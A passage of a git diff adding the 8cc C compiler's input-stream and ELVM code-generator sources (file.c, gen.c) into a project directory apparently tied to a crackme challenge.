tok->line, tok->column); +} diff --git a/crackme.tscript.dso/elvm/8cc/file.c b/crackme.tscript.dso/elvm/8cc/file.c new file mode 100644 index 0000000..70c31b1 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/file.c @@ -0,0 +1,168 @@ +// Copyright 2014 Rui Ueyama. Released under the MIT license. + +/* + * This file provides character input stream for C source code. + * An input stream is either backed by stdio's FILE * or + * backed by a string. + * The following input processing is done at this stage. + * + * - C11 5.1.1.2p1: "\r\n" or "\r" are canonicalized to "\n". + * - C11 5.1.1.2p2: A sequence of backslash and newline is removed. + * - EOF not immediately following a newline is converted to + * a sequence of newline and EOF. (The C spec requires source + * files end in a newline character (5.1.1.2p2). Thus, if all + * source files are comforming, this step wouldn't be needed.) + * + * Trigraphs are not supported by design. + */ + +#include +#include +#include +#include +#include +#include +#include "8cc.h" + +static Vector *files = &EMPTY_VECTOR; +static Vector *stashed = &EMPTY_VECTOR; + +File *make_file(FILE *file, char *name) { + File *r = calloc(1, sizeof(File)); + r->file = file; + r->name = name; + r->line = 1; + r->column = 1; +#ifdef __eir__ + r->mtime = 0; +#else + struct stat st; + if (fstat(fileno(file), &st) == -1) + error("fstat failed: %s", strerror(errno)); + r->mtime = st.st_mtime; +#endif + return r; +} + +File *make_file_string(char *s) { + File *r = calloc(1, sizeof(File)); + r->line = 1; + r->column = 1; + r->p = s; + return r; +} + +static void close_file(File *f) { + if (f->file) + fclose(f->file); +} + +static int readc_file(File *f) { + int c = getc(f->file); + if (c == EOF) { + c = (f->last == '\n' || f->last == EOF) ? EOF : '\n'; + } else if (c == '\r') { + int c2 = getc(f->file); + if (c2 != '\n') + ungetc(c2, f->file); + c = '\n'; + } + f->last = c; + return c; +} + +static int readc_string(File *f) { + int c; + if (*f->p == '\0') { + c = (f->last == '\n' || f->last == EOF) ? EOF : '\n'; + } else if (*f->p == '\r') { + f->p++; + if (*f->p == '\n') + f->p++; + c = '\n'; + } else { + c = *f->p++; + } + f->last = c; + return c; +} + +static int file_get() { + File *f = vec_tail(files); + int c; + if (f->buflen > 0) { + c = f->buf[--f->buflen]; + } else if (f->file) { + c = readc_file(f); + } else { + c = readc_string(f); + } + if (c == '\n') { + f->line++; + f->column = 1; + } else if (c != EOF) { + f->column++; + } + return c; +} + +int readc() { + for (;;) { + int c = file_get(); + if (c == EOF) { + if (vec_len(files) == 1) + return c; + close_file(vec_pop(files)); + continue; + } + if (c != '\\') + return c; + int c2 = file_get(); + if (c2 == '\n') + continue; + unreadc(c2); + return c; + } +} + +void unreadc(int c) { + if (c == EOF) + return; + File *f = vec_tail(files); + assert(f->buflen < sizeof(f->buf) / sizeof(f->buf[0])); + f->buf[f->buflen++] = c; + if (c == '\n') { + f->column = 1; + f->line--; + } else { + f->column--; + } +} + +File *current_file() { + return vec_tail(files); +} + +void stream_push(File *f) { + vec_push(files, f); +} + +int stream_depth() { + return vec_len(files); +} + +char *input_position() { + if (vec_len(files) == 0) + return "(unknown)"; + File *f = vec_tail(files); + return format("%s:%d:%d", f->name, f->line, f->column); +} + +void stream_stash(File *f) { + vec_push(stashed, files); + files = make_vector1(f); +} + +void stream_unstash() { + files = vec_pop(stashed); +} diff --git a/crackme.tscript.dso/elvm/8cc/gen.c b/crackme.tscript.dso/elvm/8cc/gen.c new file mode 100644 index 0000000..d1810f0 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/gen.c @@ -0,0 +1,1366 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +#include +#include +#include +#include +#include +#include +#include "8cc.h" + +bool dumpstack = false; +bool dumpsource = true; + +static int TAB = 8; +static Vector *functions = &EMPTY_VECTOR; +static int stackpos; +#if 0 +static int numgp; +static int numfp; +#endif +static FILE *outputfp; +static int is_main; + +static Map *source_files = &EMPTY_MAP; +static Map *source_lines = &EMPTY_MAP; +static char *last_loc = ""; +static char* current_func_name; + +static void emit_addr(Node *node); +static void emit_expr(Node *node); +static void emit_decl_init(Vector *inits, int off, int totalsize); +static void do_emit_data(Vector *inits, int size, int off, int depth); +static void emit_data(Node *v, int off, int depth); + +#define REGAREA_SIZE 176 + +#define emit(...) emitf(__LINE__, "\t" __VA_ARGS__) +#define emit_noindent(...) emitf(__LINE__, __VA_ARGS__) + +#define assert_float() assert(0 && "float") + +#ifdef __eir__ +#define MOD24(x) x +#else +#define MOD24(x) (x & 0xffffff) +#endif + +#ifdef __GNUC__ +#define SAVE \ + int save_hook __attribute__((unused, cleanup(pop_function))); \ + if (dumpstack) \ + vec_push(functions, (void *)__func__); + +static void pop_function(void *ignore) { + if (dumpstack) + vec_pop(functions); +} +#else +#define SAVE +#endif + +static char *get_caller_list() { + Buffer *b = make_buffer(); + for (int i = 0; i < vec_len(functions); i++) { + if (i > 0) + buf_printf(b, " -> "); + buf_printf(b, "%s", vec_get(functions, i)); + } + buf_write(b, '\0'); + return buf_body(b); +} + +void set_output_file(FILE *fp) { + outputfp = fp; +} + +void close_output_file() { + fclose(outputfp); +} + +static void emitf(int line, char *fmt, ...) { + // Replace "#" with "%%" so that vfprintf prints out "#" as "%". + char buf[256]; + int i = 0; + for (char *p = fmt; *p; p++) { + assert(i < sizeof(buf) - 3); + if (*p == '#') { + buf[i++] = '%'; + buf[i++] = '%'; + } else { + buf[i++] = *p; + } + } + buf[i] = '\0'; + + va_list args; + va_start(args, fmt); + int col = vfprintf(outputfp, buf, args); + va_end(args); + + if (dumpstack) { + for (char *p = fmt; *p; p++) + if (*p == '\t') + col += TAB - 1; + int space = (28 - col) > 0 ? (30 - col) : 2; + fprintf(outputfp, "%*c %s:%d", space, '#', get_caller_list(), line); + } + fprintf(outputfp, "\n"); +} + +static void emit_nostack(char *fmt, ...) { + fprintf(outputfp, "\t"); + va_list args; + va_start(args, fmt); + vfprintf(outputfp, fmt, args); + va_end(args); + fprintf(outputfp, "\n"); +} + +static void push(char *reg) { + SAVE; + assert(strcmp(reg, "D")); + emit("mov D, SP"); + emit("add D, -1"); + emit("store %s, D", reg); + emit("mov SP, D"); + stackpos += 1; +} + +static void pop(char *reg) { + SAVE; + emit("load %s, SP", reg); + emit("add SP, 1", reg); + stackpos -= 1; + assert(stackpos >= 0); +} + +#if 0 +static void maybe_emit_bitshift_load(Type *ty) { + SAVE; + if (ty->bitsize <= 0) + return; + emit("shr $%d, #rax", ty->bitoff); + push("rcx"); + emit("mov $0x%lx, #rcx", (1 << (long)ty->bitsize) - 1); + emit("and #rcx, #rax"); + pop("rcx"); +} + +static void maybe_emit_bitshift_save(Type *ty, char *addr) { + SAVE; + if (ty->bitsize <= 0) + return; + push("rcx"); + push("rdi"); + emit("mov $0x%lx, #rdi", (1 << (long)ty->bitsize) - 1); + emit("and #rdi, #rax"); + emit("shl $%d, #rax", ty->bitoff); + emit("mov %s, #%s", addr, get_int_reg(ty, 'c')); + emit("mov $0x%lx, #rdi", ~(((1 << (long)ty->bitsize) - 1) << ty->bitoff)); + emit("and #rdi, #rcx"); + emit("or #rcx, #rax"); + pop("rdi"); + pop("rcx"); +} +#endif + +static void emit_gload(Type *ty, char *label, int off) { + SAVE; + if (ty->kind == KIND_ARRAY) { + emit("mov A, %s", label); + if (off) + emit("add A, %d", MOD24(off)); + return; + } + emit("mov B, %s", label); + if (off) + emit("add B, %d", MOD24(off)); + emit("load A, B"); +#if 0 + maybe_emit_bitshift_load(ty); +#endif +} + +static void emit_intcast(Type *ty) { +} + +static void emit_toint(Type *ty) { + SAVE; + if (ty->kind == KIND_FLOAT) + emit("cvttss2si #xmm0, #eax"); + else if (ty->kind == KIND_DOUBLE) + emit("cvttsd2si #xmm0, #eax"); +} + +static void emit_lload(Type *ty, char *base, int off) { + SAVE; + if (ty->kind == KIND_ARRAY) { + emit("mov A, %s", base); + if (off) + emit("add A, %d", MOD24(off)); + } else if (ty->kind == KIND_FLOAT) { + assert_float(); + } else if (ty->kind == KIND_DOUBLE || ty->kind == KIND_LDOUBLE) { + assert_float(); + } else { + emit("mov B, %s", base); + if (off) + emit("add B, %d", MOD24(off)); + emit("load A, B"); + } +} + +static void maybe_convert_bool(Type *ty) { + if (ty->kind == KIND_BOOL) { + emit("ne A, 0"); + } +} + +static void emit_gsave(char *varname, Type *ty, int off) { + SAVE; + assert(ty->kind != KIND_ARRAY); + maybe_convert_bool(ty); +#if 0 + char *reg = get_int_reg(ty, 'a'); + char *addr = format("%s+%d(%%rip)", varname, off); + maybe_emit_bitshift_save(ty, addr); +#endif + emit("mov B, %s", varname); + if (off) + emit("add B, %d", MOD24(off)); + emit("store A, B"); +} + +static void emit_lsave(Type *ty, int off) { + SAVE; + if (ty->kind == KIND_FLOAT) { + assert_float(); + } else if (ty->kind == KIND_DOUBLE) { + assert_float(); + } else { + emit("mov B, BP"); + if (off) + emit("add B, %d", MOD24(off)); + emit("store A, B"); + } +} + +static void do_emit_assign_deref(Type *ty, int off) { + SAVE; + emit("mov C, A"); + emit("load A, SP"); + emit("mov B, A"); + emit("mov A, C"); + if (off) + emit("add A, %d", MOD24(off)); + emit("store B, A"); + pop("A"); +} + +static void emit_assign_deref(Node *var) { + SAVE; + push("A"); + emit_expr(var->operand); + do_emit_assign_deref(var->operand->ty->ptr, 0); +} + +static void emit_call_builtin(char *fname); + +static void emit_pointer_arith(char kind, Node *left, Node *right) { + SAVE; + emit_expr(left); + push("B"); + push("A"); + emit_expr(right); + + if (left->ty->ptr->size == 2) + emit("add A, A"); + if (left->ty->ptr->size > 2) { + push("A"); + emit("mov A, %d", left->ty->ptr->size); + push("A"); + emit_call_builtin("__builtin_mul"); + emit("add SP, 2"); + stackpos -= 3; + } + + emit("mov B, A"); + pop("A"); + switch (kind) { + case '+': emit("add A, B"); break; + case '-': emit("sub A, B"); break; + default: error("invalid operator '%d'", kind); + } + emit("mov C, A"); + pop("A"); + emit("mov B, A"); + emit("mov A, C"); +} + +static void emit_zero_filler(int start, int end) { + SAVE; + emit("mov A, 0"); + emit("mov B, SP"); + for (; start != end; start++) { + emit("store A, B"); + emit("add B, 1"); + } +} + +static void ensure_lvar_init(Node *node) { + SAVE; + assert(node->kind == AST_LVAR); + if (node->lvarinit) + emit_decl_init(node->lvarinit, node->loff, node->ty->size); + node->lvarinit = NULL; +} + +static void emit_assign_struct_ref(Node *struc, Type *field, int off) { + SAVE; + switch (struc->kind) { + case AST_LVAR: + ensure_lvar_init(struc); + emit_lsave(field, struc->loff + field->offset + off); + break; + case AST_GVAR: + emit_gsave(struc->glabel, field, field->offset + off); + break; + case AST_STRUCT_REF: + emit_assign_struct_ref(struc->struc, field, off + struc->ty->offset); + break; + case AST_DEREF: + push("A"); + emit_expr(struc->operand); + do_emit_assign_deref(field, field->offset + off); + break; + default: + error("internal error: %s", node2s(struc)); + } +} + +static void emit_load_struct_ref(Node *struc, Type *field, int off) { + SAVE; + switch (struc->kind) { + case AST_LVAR: + ensure_lvar_init(struc); + emit_lload(field, "BP", struc->loff + field->offset + off); + break; + case AST_GVAR: + emit_gload(field, struc->glabel, field->offset + off); + break; + case AST_STRUCT_REF: + emit_load_struct_ref(struc->struc, field, struc->ty->offset + off); + break; + case AST_DEREF: + emit_expr(struc->operand); + emit_lload(field, "A", field->offset + off); + break; + default: + error("internal error: %s", node2s(struc)); + } +} + +static void emit_store(Node *var) { + SAVE; + switch (var->kind) { + case AST_DEREF: emit_assign_deref(var); break; + case AST_STRUCT_REF: emit_assign_struct_ref(var->struc, var->ty, 0); break; + case AST_LVAR: + ensure_lvar_init(var); + emit_lsave(var->ty, var->loff); + break; + case AST_GVAR: emit_gsave(var->glabel, var->ty, 0); break; + default: error("internal error"); + } +} + +static void emit_to_bool(Type *ty) { + SAVE; + if (is_flotype(ty)) { + assert_float(); + } else { + emit("ne A, 0"); + } +} + +static void emit_comp(char *inst, Node *node) { + SAVE; + if (is_flotype(node->left->ty)) { + assert_float(); + } else { + emit_expr(node->left); + push("A"); + emit_expr(node->right); + emit("mov B, A"); + pop("A"); + } + emit("%s A, B", inst); +} + +static void emit_binop_int_arith(Node *node) { + SAVE; + emit_expr(node->left); + push("A"); + emit_expr(node->right); + emit("mov B, A"); + pop("A"); + switch (node->kind) { + case '+': + emit("add A, B"); + break; + case '-': + emit("sub A, B"); + break; + case '*': + case '/': + case '%': + case '^': + case OP_SAL: + case OP_SAR: + case OP_SHR: + push("B"); + push("A"); + if (node->kind == '*') + emit_call_builtin("__builtin_mul"); + else if (node->kind == '/') + emit_call_builtin("__builtin_div"); + else if (node->kind == '%') + emit_call_builtin("__builtin_mod"); + else if (node->kind == '^') + emit_call_builtin("__builtin_xor"); + else if (node->kind == OP_SAL) + emit_call_builtin("__builtin_shl"); + else if (node->kind == OP_SAR || node->kind == OP_SHR) + emit_call_builtin("__builtin_shr"); + emit("add SP, 2"); + stackpos -= 3; + break; + default: error("invalid operator '%d'", node->kind); + } +} + +static void emit_binop_float_arith(Node *node) { + SAVE; + assert_float(); +} + +static void emit_load_convert(Type *to, Type *from) { + SAVE; + if (is_inttype(from) && to->kind == KIND_FLOAT) + emit("cvtsi2ss #eax, #xmm0"); + else if (is_inttype(from) && to->kind == KIND_DOUBLE) + emit("cvtsi2sd #eax, #xmm0"); + else if (from->kind == KIND_FLOAT && to->kind == KIND_DOUBLE) + emit("cvtps2pd #xmm0, #xmm0"); + else if ((from->kind == KIND_DOUBLE || from->kind == KIND_LDOUBLE) && to->kind == KIND_FLOAT) + emit("cvtpd2ps #xmm0, #xmm0"); + else if (to->kind == KIND_BOOL) + emit_to_bool(from); + else if (is_inttype(from) && is_inttype(to)) + emit_intcast(from); + else if (is_inttype(to)) + emit_toint(from); +} + +static void emit_ret() { + SAVE; + emit_nostack("#{pop:%s}", current_func_name); + if (is_main) { + emit("exit"); + } else { + emit("mov SP, BP"); + pop("A"); + emit("mov BP, A"); + pop("A"); + emit("jmp A"); + stackpos += 2; + } +} + +static void emit_binop(Node *node) { + SAVE; + if (node->ty->kind == KIND_PTR) { + emit_pointer_arith(node->kind, node->left, node->right); + return; + } + switch (node->kind) { + case '<': emit_comp("lt", node); return; + case OP_EQ: emit_comp("eq", node); return; + case OP_LE: emit_comp("le", node); return; + case OP_NE: emit_comp("ne", node); return; + } + if (is_inttype(node->ty)) + emit_binop_int_arith(node); + else if (is_flotype(node->ty)) + emit_binop_float_arith(node); + else + error("internal error: %s", node2s(node)); +} + +static void emit_save_literal(Node *node, Type *totype, int off) { + int v = node->ival; + switch (totype->kind) { + case KIND_BOOL: + v = !!v; + case KIND_CHAR: + case KIND_SHORT: + case KIND_INT: + case KIND_LONG: + case KIND_LLONG: + case KIND_PTR: { + emit("mov B, BP"); + if (off) + emit("add B, %d", MOD24(off)); + emit("mov A, %d", MOD24(v)); + emit("store A, B"); + break; + } + case KIND_FLOAT: + case KIND_DOUBLE: + assert_float(); + default: + error("internal error: <%s> <%s> <%d>", node2s(node), ty2s(totype), off); + } +} + +static void emit_addr(Node *node) { + switch (node->kind) { + case AST_LVAR: + ensure_lvar_init(node); + emit("mov A, BP"); + emit("add A, %d", node->loff); + break; + case AST_GVAR: + emit("mov A, %s", node->glabel); + break; + case AST_DEREF: + emit_expr(node->operand); + break; + case AST_STRUCT_REF: + emit_addr(node->struc); + emit("add A, %d", node->ty->offset); + break; + case AST_FUNCDESG: + emit("mov A, %s", node->fname); + break; + default: + error("internal error: %s", node2s(node)); + } +} + +static void emit_copy_struct(Node *left, Node *right) { + push("B"); + push("C"); + emit_addr(right); + push("A"); + emit_addr(left); + emit("mov C, A"); + pop("A"); + emit("mov B, A"); + int i = 0; + for (; i < left->ty->size; i++) { + emit("load A, B"); + emit("store A, C"); + emit("add B, 1"); + emit("add C, 1"); + } + pop("A"); + emit("mov C, A"); + pop("A"); + emit("mov B, A"); +} + +static int cmpinit(const void *x, const void *y) { + Node *a = *(Node **)x; + Node *b = *(Node **)y; + return a->initoff - b->initoff; +} + +static void emit_fill_holes(Vector *inits, int off, int totalsize) { + // If at least one of the fields in a variable are initialized, + // unspecified fields has to be initialized with 0. + int len = vec_len(inits); + Node **buf = malloc(len * sizeof(Node *)); + for (int i = 0; i < len; i++) + buf[i] = vec_get(inits, i); + qsort(buf, len, sizeof(Node *), cmpinit); + + int lastend = 0; + for (int i = 0; i < len; i++) { + Node *node = buf[i]; + if (lastend < node->initoff) + emit_zero_filler(lastend + off, node->initoff + off); + lastend = node->initoff + node->totype->size; + } + emit_zero_filler(lastend + off, totalsize + off); +} + +static void emit_decl_init(Vector *inits, int off, int totalsize) { + emit_fill_holes(inits, off, totalsize); + for (int i = 0; i < vec_len(inits); i++) { + Node *node = vec_get(inits, i); + assert(node->kind == AST_INIT); + bool isbitfield = (node->totype->bitsize > 0); + if (node->initval->kind == AST_LITERAL && !isbitfield) { + emit_save_literal(node->initval, node->totype, node->initoff + off); + } else { + emit_expr(node->initval); + emit_lsave(node->totype, node->initoff + off); + } + } +} + +static void emit_pre_inc_dec(Node *node, char *op) { + emit_expr(node->operand); + emit("%s A, 1", op); + emit_store(node->operand); +} + +static void emit_post_inc_dec(Node *node, char *op) { + SAVE; + emit_expr(node->operand); + push("A"); + emit("%s A, 1", op); + emit_store(node->operand); + pop("A"); +} + +static void emit_je(char *label) { + emit("jeq %s, A, 0", label); +} + +static void emit_label(char *label) { + emit("%s:", label); +} + +static void emit_jmp(char *label) { + emit("jmp %s", label); +} + +static void emit_call_builtin(char *fname) { + char *end = make_label(); + emit("mov A, %s", end); + push("A"); + emit("jmp %s", fname); + emit_label(end); + emit("mov A, B"); +} + +static void emit_literal(Node *node) { + SAVE; + switch (node->ty->kind) { + case KIND_BOOL: + case KIND_CHAR: + case KIND_SHORT: + emit("mov A, %d", MOD24(node->ival)); + break; + case KIND_INT: + case KIND_LONG: + case KIND_LLONG: { + emit("mov A, %d", MOD24(node->ival)); + break; + } + case KIND_FLOAT: + case KIND_DOUBLE: + case KIND_LDOUBLE: { + assert_float(); + break; + } + case KIND_ARRAY: { + if (!node->slabel) { + node->slabel = make_label(); + emit_noindent(".data"); + emit_label(node->slabel); + emit(".string \"%s\"", quote_cstring_len(node->sval, node->ty->size - 1)); + emit_noindent(".text"); + } + emit("mov A, %s", node->slabel); + break; + } + default: + error("internal error"); + } +} + +static char **split(char *buf) { + char *p = buf; + int len = 1; + while (*p) { + if (p[0] == '\r' && p[1] == '\n') { + len++; + p += 2; + continue; + } + if (p[0] == '\r' || p[0] == '\n') + len++; + p++; + } + p = buf; + char **r = malloc(sizeof(char *) * len + 1); + int i = 0; + while (*p) { + if (p[0] == '\r' && p[1] == '\n') { + p[0] = '\0'; + p += 2; + r[i++] = p; + continue; + } + if (p[0] == '\r' || p[0] == '\n') { + p[0] = '\0'; + r[i++] = p + 1; + } + p++; + } + r[i] = NULL; + return r; +} + +#ifndef __eir__ +static char **read_source_file(char *file) { + FILE *fp = fopen(file, "r"); + if (!fp) + return NULL; + struct stat st; + fstat(fileno(fp), &st); + char *buf = malloc(st.st_size + 1); + if (fread(buf, 1, st.st_size, fp) != st.st_size) + return NULL; + fclose(fp); + buf[st.st_size] = '\0'; + return split(buf); +} +#endif + +static void maybe_print_source_line(char *file, int line) { + if (!dumpsource) + return; + char **lines = map_get(source_lines, file); + if (!lines) { +#ifdef __eir__ + return; +#else + lines = read_source_file(file); + if (!lines) + return; + map_put(source_lines, file, lines); +#endif + } + int len = 0; + for (char **p = lines; *p; p++) + len++; + emit_nostack("# %s", lines[line - 1]); +} + +static void maybe_print_source_loc(Node *node) { + if (!node->sourceLoc) + return; + char *file = node->sourceLoc->file; + long fileno = (long)map_get(source_files, file); + if (!fileno) { + fileno = map_len(source_files) + 1; + map_put(source_files, file, (void *)fileno); + emit(".file %ld \"%s\"", fileno, quote_cstring(file)); + } + char *loc = format(".loc %ld %d 0", fileno, node->sourceLoc->line); + if (strcmp(loc, last_loc)) { + emit("%s", loc); + maybe_print_source_line(file, node->sourceLoc->line); + } + last_loc = loc; +} + +static void emit_lvar(Node *node) { + SAVE; + ensure_lvar_init(node); + emit_lload(node->ty, "BP", node->loff); +} + +static void emit_gvar(Node *node) { + SAVE; + emit_gload(node->ty, node->glabel, 0); +} + +#if 0 + +static void emit_builtin_return_address(Node *node) { + push("r11"); + assert(vec_len(node->args) == 1); + emit_expr(vec_head(node->args)); + char *loop = make_label(); + char *end = make_label(); + emit("mov #rbp, #r11"); + emit_label(loop); + emit("test #rax, #rax"); + emit("jz %s", end); + emit("mov (#r11), #r11"); + emit("sub $1, #rax"); + emit_jmp(loop); + emit_label(end); + emit("mov 8(#r11), #rax"); + pop("r11"); +} + +// Set the register class for parameter passing to RAX. +// 0 is INTEGER, 1 is SSE, 2 is MEMORY. +static void emit_builtin_reg_class(Node *node) { + Node *arg = vec_get(node->args, 0); + assert(arg->ty->kind == KIND_PTR); + Type *ty = arg->ty->ptr; + if (ty->kind == KIND_STRUCT) + emit("mov $2, #eax"); + else if (is_flotype(ty)) + emit("mov $1, #eax"); + else + emit("mov $0, #eax"); +} + +static void emit_builtin_va_start(Node *node) { + SAVE; + assert(vec_len(node->args) == 1); + emit_expr(vec_head(node->args)); + push("rcx"); + emit("movl $%d, (#rax)", numgp * 8); + emit("movl $%d, 4(#rax)", 48 + numfp * 16); + emit("lea %d(#rbp), #rcx", -REGAREA_SIZE); + emit("mov #rcx, 16(#rax)"); + pop("rcx"); +} + +#endif + +static bool maybe_emit_builtin(Node *node) { +#if 0 + SAVE; + if (!strcmp("__builtin_return_address", node->fname)) { + emit_builtin_return_address(node); + return true; + } + if (!strcmp("__builtin_reg_class", node->fname)) { + emit_builtin_reg_class(node); + return true; + } + if (!strcmp("__builtin_va_start", node->fname)) { + emit_builtin_va_start(node); + return true; + } + return false; +#else + return false; +#endif +} + +static void classify_args(Vector *ints, Vector *args) { + SAVE; + for (int i = 0; i < vec_len(args); i++) { + Node *v = vec_get(args, i); + assert(!is_flotype(v->ty)); + vec_push(ints, v); + } +} + +static int emit_args(Vector *vals) { + SAVE; + int r = 0; + for (int i = 0; i < vec_len(vals); i++) { + Node *v = vec_get(vals, i); + emit_expr(v); + push("A"); + r += 1; + } + return r; +} + +static void maybe_booleanize_retval(Type *ty) { + if (ty->kind == KIND_BOOL) { + emit("ne A, 0"); + } +} + +static void emit_call(Node *node) { + bool isptr = (node->kind == AST_FUNCPTR_CALL); + char *end = make_label(); + if (isptr) { + emit_expr(node->fptr); + emit("mov C, A"); + } + emit("mov A, %s", end); + push("A"); + if (isptr) + emit("jmp C"); + else + emit("jmp %s", node->fname); + emit_label(end); + emit("mov A, B"); + stackpos -= 1; +} + +static void emit_func_call(Node *node) { + SAVE; + int opos = stackpos; + + Vector *ints = make_vector(); + classify_args(ints, node->args); + + emit_args(vec_reverse(ints)); + + if (!node->fname) { + emit_call(node); + } else if (!strcmp(node->fname, "__builtin_dump")) { + emit("dump"); + } else if (!strcmp(node->fname, "exit")) { + emit("exit"); + } else if (!strcmp(node->fname, "putchar")) { + emit("putc A"); + } else if (!strcmp(node->fname, "getchar")) { + char *end = make_label(); + emit("getc A"); + emit("jne %s, A, 0", end); + emit("mov A, -1"); + emit_label(end); + } else { + emit_call(node); + } + if (vec_len(ints)) + emit("add SP, %d", vec_len(ints)); + stackpos -= vec_len(ints); + assert(opos == stackpos); +} + +static void emit_decl(Node *node) { + SAVE; + if (!node->declinit) + return; + emit_decl_init(node->declinit, node->declvar->loff, node->declvar->ty->size); +} + +static void emit_conv(Node *node) { + SAVE; + emit_expr(node->operand); + emit_load_convert(node->ty, node->operand->ty); +} + +static void emit_deref(Node *node) { + SAVE; + emit_expr(node->operand); + emit_lload(node->operand->ty->ptr, "A", 0); + emit_load_convert(node->ty, node->operand->ty->ptr); +} + +static void emit_ternary(Node *node) { + SAVE; + emit_expr(node->cond); + char *ne = make_label(); + emit_je(ne); + if (node->then) + emit_expr(node->then); + if (node->els) { + char *end = make_label(); + emit_jmp(end); + emit_label(ne); + emit_expr(node->els); + emit_label(end); + } else { + emit_label(ne); + } +} + +static void emit_goto(Node *node) { + SAVE; + assert(node->newlabel); + emit_jmp(node->newlabel); +} + +static void emit_return(Node *node) { + SAVE; + if (node->retval) { + emit_expr(node->retval); + maybe_booleanize_retval(node->retval->ty); + emit("mov B, A"); + } + emit_ret(); +} + +static void emit_compound_stmt(Node *node) { + SAVE; + for (int i = 0; i < vec_len(node->stmts); i++) + emit_expr(vec_get(node->stmts, i)); +} + +static void emit_logand(Node *node) { + SAVE; + char *end = make_label(); + emit_expr(node->left); + emit("mov B, 0"); + emit("jeq %s, A, 0", end); + emit_expr(node->right); + emit("mov B, A"); + emit("ne B, 0"); + emit_label(end); + emit("mov A, B"); +} + +static void emit_logor(Node *node) { + SAVE; + char *end = make_label(); + emit_expr(node->left); + emit("mov B, 1"); + emit("jne %s, A, 0", end); + emit_expr(node->right); + emit("mov B, A"); + emit("ne B, 0"); + emit_label(end); + emit("mov A, B"); +} + +static void emit_lognot(Node *node) { + SAVE; + emit_expr(node->operand); + emit("eq A, 0"); +} + +static void emit_bitand(Node *node) { + SAVE; + emit_expr(node->left); + push("A"); + emit_expr(node->right); + push("A"); + emit_call_builtin("__builtin_and"); + emit("add SP, 2"); + stackpos -= 3; +} + +static void emit_bitor(Node *node) { + SAVE; + emit_expr(node->left); + push("A"); + emit_expr(node->right); + push("A"); + emit_call_builtin("__builtin_or"); + emit("add SP, 2"); + stackpos -= 3; +} + +static void emit_bitnot(Node *node) { + SAVE; + emit_expr(node->left); + push("A"); + emit_call_builtin("__builtin_not"); + emit("add SP, 1"); + stackpos -= 2; +} + +static void emit_cast(Node *node) { + SAVE; + emit_expr(node->operand); + emit_load_convert(node->ty, node->operand->ty); + return; +} + +static void emit_comma(Node *node) { + SAVE; + emit_expr(node->left); + emit_expr(node->right); +} + +static void emit_assign(Node *node) { + SAVE; + if (node->left->ty->kind == KIND_STRUCT) { + emit_copy_struct(node->left, node->right); + } else { + emit_expr(node->right); + emit_load_convert(node->ty, node->right->ty); + emit_store(node->left); + } +} + +static void emit_label_addr(Node *node) { + SAVE; + emit("mov A, %s", node->newlabel); +} + +static void emit_computed_goto(Node *node) { + SAVE; + emit_expr(node->operand); + emit("jmp A"); +} + +static void emit_expr(Node *node) { + SAVE; + maybe_print_source_loc(node); + switch (node->kind) { + case AST_LITERAL: emit_literal(node); return; + case AST_LVAR: emit_lvar(node); return; + case AST_GVAR: emit_gvar(node); return; + case AST_FUNCDESG: emit_addr(node); return; + case AST_FUNCALL: + if (maybe_emit_builtin(node)) + return; + // fall through + case AST_FUNCPTR_CALL: + emit_func_call(node); + return; + case AST_DECL: emit_decl(node); return; + case AST_CONV: emit_conv(node); return; + case AST_ADDR: emit_addr(node->operand); return; + case AST_DEREF: emit_deref(node); return; + case AST_IF: + case AST_TERNARY: + emit_ternary(node); + return; + case AST_GOTO: emit_goto(node); return; + case AST_LABEL: + if (node->newlabel) + emit_label(node->newlabel); + return; + case AST_RETURN: emit_return(node); return; + case AST_COMPOUND_STMT: emit_compound_stmt(node); return; + case AST_STRUCT_REF: + emit_load_struct_ref(node->struc, node->ty, 0); + return; + case OP_PRE_INC: emit_pre_inc_dec(node, "add"); return; + case OP_PRE_DEC: emit_pre_inc_dec(node, "sub"); return; + case OP_POST_INC: emit_post_inc_dec(node, "add"); return; + case OP_POST_DEC: emit_post_inc_dec(node, "sub"); return; + case '!': emit_lognot(node); return; + case '&': emit_bitand(node); return; + case '|': emit_bitor(node); return; + case '~': emit_bitnot(node); return; + case OP_LOGAND: emit_logand(node); return; + case OP_LOGOR: emit_logor(node); return; + case OP_CAST: emit_cast(node); return; + case ',': emit_comma(node); return; + case '=': emit_assign(node); return; + case OP_LABEL_ADDR: emit_label_addr(node); return; + case AST_COMPUTED_GOTO: emit_computed_goto(node); return; + default: + emit_binop(node); + } +} + +static void emit_zero(int size) { + SAVE; + if (size == -1) + return; + for (; size > 0; size--) emit(".long 0"); +} + +static void emit_padding(Node *node, int off) { + SAVE; + int diff = node->initoff - off; + assert(diff >= 0); + emit_zero(diff); +} + +static void emit_data_addr(Node *operand, int depth) { + switch (operand->kind) { + case AST_LVAR: { + char *label = make_label(); + emit(".data %d", depth + 1); + emit_label(label); + do_emit_data(operand->lvarinit, operand->ty->size, 0, depth + 1); + emit(".data %d", depth); + emit(".long %s", label); + return; + } + case AST_GVAR: + emit(".long %s", operand->glabel); + return; + default: + error("internal error"); + } +} + +static void emit_data_charptr(char *s, int depth) { + char *label = make_label(); + emit(".data %d", depth + 1); + emit_label(label); + emit(".string \"%s\"", quote_cstring(s)); + emit(".data %d", depth); + emit(".long %s", label); +} + +static void emit_data_primtype(Type *ty, Node *val, int depth) { + switch (ty->kind) { + case KIND_FLOAT: { + assert_float(); + break; + } + case KIND_DOUBLE: + assert_float(); + break; + case KIND_BOOL: + emit(".long %d", !!eval_intexpr(val, NULL)); + break; + case KIND_CHAR: + case KIND_SHORT: + case KIND_INT: + emit(".long %d", eval_intexpr(val, NULL)); + break; + case KIND_LONG: + case KIND_LLONG: + case KIND_PTR: + if (val->kind == OP_LABEL_ADDR) { + emit(".long %s", val->newlabel); + break; + } + bool is_char_ptr = (val->operand->ty->kind == KIND_ARRAY && val->operand->ty->ptr->kind == KIND_CHAR); + if (is_char_ptr) { + emit_data_charptr(val->operand->sval, depth); + } else if (val->kind == AST_GVAR) { + emit(".long %s", val->glabel); + } else { + Node *base = NULL; + int v = eval_intexpr(val, &base); + if (base == NULL) { + emit(".long %u", v); + break; + } + Type *ty = base->ty; + if (base->kind == AST_CONV || base->kind == AST_ADDR) + base = base->operand; + if (base->kind != AST_GVAR) + error("global variable expected, but got %s", node2s(base)); + assert(ty->ptr); +#if 1 + if (v * ty->ptr->size) + error("TODO: fix! %d %d", v, ty->ptr->size); + emit(".long %s", base->glabel); +#else + 